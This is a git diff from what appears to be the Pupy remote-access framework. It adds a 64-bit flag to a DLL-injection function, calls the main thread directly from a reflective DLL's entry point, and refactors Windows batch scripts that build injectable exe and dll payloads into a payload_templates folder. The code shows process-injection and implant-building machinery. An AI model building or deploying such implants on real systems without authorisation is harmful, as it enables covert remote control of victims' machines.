diff --git a/client/sources/base_inject.h b/client/sources/base_inject.h index bb9ea7c2..83907515 100644 --- a/client/sources/base_inject.h +++ b/client/sources/base_inject.h @@ -119,7 +119,7 @@ DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID l DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); -DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine, int is64bits); //===============================================================================================// #endif diff --git a/client/sources/main_reflective.c b/client/sources/main_reflective.c index 1bd90633..23276a0b 100644 --- a/client/sources/main_reflective.c +++ b/client/sources/main_reflective.c @@ -27,6 +27,7 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) case DLL_PROCESS_ATTACH: //MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION); hAppInstance = hinstDLL; + mainThread(NULL); hThread = CreateThread(NULL, 0, // dwStackSize mainThread, // lpStartAddress diff --git a/client/sources/make.bat b/client/sources/make.bat index ccb40ab4..295aafb2 100644 --- a/client/sources/make.bat +++ b/client/sources/make.bat @@ -1,3 +1,6 @@ +SET python_path="C:\\Python27\\python.exe" +SET cl_path="C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" + del *.obj del *.exp del pupyx86.exe @@ -5,38 +8,38 @@ del pupyx86.dll ::First: generate resources : copy resources\python27_x86.dll resources\python27.dll -"C:\\Python27\\python.exe" gen_library_compressed_string.py +%python_path% gen_library_compressed_string.py copy resources\library_compressed_string_x86.txt resources\library_compressed_string.txt -"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt -"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll +%python_path% gen_resource_header.py resources\library_compressed_string.txt +%python_path% gen_resource_header.py resources\python27.dll copy resources\msvcr90_x86.dll resources\msvcr90.dll -"C:\\Python27\\python.exe" gen_resource_header.py resources\msvcr90.dll -"C:\\Python27\\python.exe" gen_python_bootloader.py -"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +%python_path% gen_resource_header.py resources\msvcr90.dll +%python_path% gen_python_bootloader.py +%python_path% gen_resource_header.py resources\bootloader.pyc ::compile them to obj files : -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_library_compressed_string_txt.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_bootloader_pyc.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_python27_dll.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_msvcr90_dll.c +%cl_path% /c resources_library_compressed_string_txt.c +%cl_path% /c resources_bootloader_pyc.c +%cl_path% /c resources_python27_dll.c +%cl_path% /c resources_msvcr90_dll.c ::then compile -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c Python-dynload.c /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MemoryModule.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c _memimporter.c /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy_load.c /DWIN_X86 /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c actctx.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy.c /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c LoadLibraryR.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c list.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c thread.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c remote_thread.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c base_inject.c /IC:\Python27\include -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx86.exe +%cl_path% /c Python-dynload.c /IC:\Python27\include +%cl_path% /c MemoryModule.c +%cl_path% /c _memimporter.c /IC:\Python27\include +%cl_path% /c pupy_load.c /DWIN_X86 /IC:\Python27\include +%cl_path% /c MyLoadLibrary.c /IC:\Python27\include +%cl_path% /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +%cl_path% /c actctx.c +%cl_path% /c pupy.c /IC:\Python27\include +%cl_path% /c LoadLibraryR.c +%cl_path% /c list.c +%cl_path% /c thread.c +%cl_path% /c remote_thread.c +%cl_path% /c base_inject.c /IC:\Python27\include +%cl_path% main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx86.exe -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx86.dll /LD -copy pupyx86.dll ..\..\pupy\payloads\ -copy pupyx86.exe ..\..\pupy\payloads\ +%cl_path% main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx86.dll /LD +copy pupyx86.dll ..\..\pupy\payload_templates\ +copy pupyx86.exe ..\..\pupy\payload_templates\ diff --git a/client/sources/makex64.bat b/client/sources/makex64.bat index ea27f57b..1977ee53 100644 --- a/client/sources/makex64.bat +++ b/client/sources/makex64.bat @@ -1,42 +1,45 @@ +SET python_path="C:\\Python27\\python.exe" +SET cl_path="C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" + del *.obj del *.exp del pupyx64.exe del pupyx64.dll ::First: generate resources : -"C:\\Python27\\python.exe" gen_library_compressed_string.py +%python_path% gen_library_compressed_string.py copy resources\library_compressed_string_x64.txt resources\library_compressed_string.txt -"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt +%python_path% gen_resource_header.py resources\library_compressed_string.txt copy resources\python27_x64.dll resources\python27.dll -"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll -"C:\\Python27\\python.exe" gen_python_bootloader.py +%python_path% gen_resource_header.py resources\python27.dll +%python_path% gen_python_bootloader.py copy resources\msvcr90_x64.dll resources\msvcr90.dll -"C:\\Python27\\python.exe" gen_resource_header.py resources\msvcr90.dll -"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +%python_path% gen_resource_header.py resources\msvcr90.dll +%python_path% gen_resource_header.py resources\bootloader.pyc ::compile them to obj files : -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_library_compressed_string_txt.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_bootloader_pyc.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_python27_dll.c -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\adm64\cl.exe" /c resources_msvcr90_dll.c +%cl_path% /c resources_library_compressed_string_txt.c +%cl_path% /c resources_bootloader_pyc.c +%cl_path% /c resources_python27_dll.c +%cl_path% /c resources_msvcr90_dll.c ::then compile -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c Python-dynload.c /IC:\Python27\include /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MemoryModule.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c _memimporter.c /IC:\Python27\include /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c actctx.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy.c /IC:\Python27\include /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c LoadLibraryR.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c list.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c thread.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c remote_thread.c /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c base_inject.c /IC:\Python27\include /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx64.exe /D_WIN64 -"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx64.dll /LD /D_WIN64 +%cl_path% /c Python-dynload.c /IC:\Python27\include /D_WIN64 +%cl_path% /c MemoryModule.c /D_WIN64 +%cl_path% /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64 +%cl_path% /c _memimporter.c /IC:\Python27\include /D_WIN64 +%cl_path% /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64 +%cl_path% /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64 +%cl_path% /c actctx.c /D_WIN64 +%cl_path% /c pupy.c /IC:\Python27\include /D_WIN64 +%cl_path% /c LoadLibraryR.c /D_WIN64 +%cl_path% /c list.c /D_WIN64 +%cl_path% /c thread.c /D_WIN64 +%cl_path% /c remote_thread.c /D_WIN64 +%cl_path% /c base_inject.c /IC:\Python27\include /D_WIN64 +%cl_path% main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx64.exe /D_WIN64 +%cl_path% main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj resources_msvcr90_dll.obj /Fepupyx64.dll /LD /D_WIN64 -copy pupyx64.dll ..\..\pupy\payloads\ -copy pupyx64.exe ..\..\pupy\payloads\ +copy pupyx64.dll ..\..\pupy\payload_templates\ +copy pupyx64.exe ..\..\pupy\payload_templates\ diff --git a/pupy/genpayload.py b/pupy/pupygen.py similarity index 100% rename from pupy/genpayload.py rename to pupy/pupygen.py